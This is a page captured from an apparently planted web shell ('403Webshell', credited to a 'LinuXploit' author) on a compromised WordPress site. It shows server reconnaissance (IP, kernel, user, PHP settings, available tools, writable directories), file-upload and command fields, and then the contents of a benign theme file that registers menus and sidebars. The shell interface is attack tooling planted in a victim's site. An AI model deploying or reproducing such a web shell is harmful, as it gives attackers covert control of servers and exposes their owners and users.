403Webshell
Server IP : 89.108.64.180  /  Your IP : 216.73.217.92
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux 89-108-64-180.cloudvps.regruhosting.ru 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-root ( 1010)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/aravanatula.ru/wp-content/themes/calluna/framework/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/aravanatula.ru/wp-content/themes/calluna/framework//menu_widgets.php
<?php
/**
 * Declaring menus & widgets
 *
 */

/**
 * Register menus
 */
if(!( function_exists('calluna_register_nav_menus') )){
    function calluna_register_nav_menus() {
        register_nav_menus(
            array(
                'main_menu'         => esc_html__( 'Main Menu', 'calluna-td' ),
                'responsive_menu'   => esc_html__( 'Mobile Menu', 'calluna-td' )
            )
        );
    }
    add_action( 'init', 'calluna_register_nav_menus' );
}

/**
 * Register sidebars and footer widgets
 */
if(! function_exists('calluna_widgets_init')) {
    function calluna_widgets_init()
    {
        //Sidebars
        register_sidebar( array(
			'name'          => esc_html__( 'Blog sidebar', 'calluna-td' ),
			'id'            => 'blog',
			'description'   => esc_html__( 'Add widgets here to appear in the blog sidebar.', 'calluna-td' ),
			'before_widget' => '<div class="widget">',
			'after_widget'  => '</div>',
			'before_title'  => '<h2 class="title">',
			'after_title'   => '</h2>',
		) );
		register_sidebar( array(
			'name'          => esc_html__( 'Page sidebar', 'calluna-td' ),
			'id'            => 'page-sidebar',
			'description'   => esc_html__( 'Add widgets here to appear in the page sidebar.', 'calluna-td' ),
			'before_widget' => '<div class="widget">',
			'after_widget'  => '</div>',
			'before_title'  => '<h2 class="title">',
			'after_title'   => '</h2>',
		) );
		register_sidebar( array(
			'name'          => esc_html__( 'Footer Logo', 'calluna-td' ),
			'id'            => 'footer-logo',
			'description'   => esc_html__( 'Add the footer logo here.', 'calluna-td' ),
			'before_widget' => '<div class="widget footer-logo">',
			'after_widget'  => '</div>',
			'before_title'  => '<h3>',
			'after_title'   => '</h3>',
		) );
		register_sidebar( array(
			  'name'          => esc_html__( 'Footer Content One', 'calluna-td' ),
			  'id'            => 'footer-1',
			  'description'   => esc_html__( 'Add content for the footer.', 'calluna-td' ),
			  'before_widget' => '<div class="widget footer-1">',
			  'after_widget'  => '</div>',
			  'before_title'  => '<h3>',
			  'after_title'   => '</h3>',
		  ) );
		register_sidebar( array(
			  'name'          => esc_html__( 'Footer Content Two', 'calluna-td' ),
			  'id'            => 'footer-2',
			  'description'   => esc_html__( 'Add content for the footer.', 'calluna-td' ),
			  'before_widget' => '<div class="widget footer-2">',
			  'after_widget'  => '</div>',
			  'before_title'  => '<h3>',
			  'after_title'   => '</h3>',
		  ) );
		register_sidebar( array(
			  'name'          => esc_html__( 'Footer Content Three', 'calluna-td' ),
			  'id'            => 'footer-3',
			  'description'   => esc_html__( 'Add content for the footer', 'calluna-td' ),
			  'before_widget' => '<div class="widget footer-3">',
			  'after_widget'  => '</div>',
			  'before_title'  => '<h3>',
			  'after_title'   => '</h3>',
		  ) );
    }

}
add_action( 'widgets_init', 'calluna_widgets_init' );

Youez - 2016 - github.com/yon3zu
LinuXploit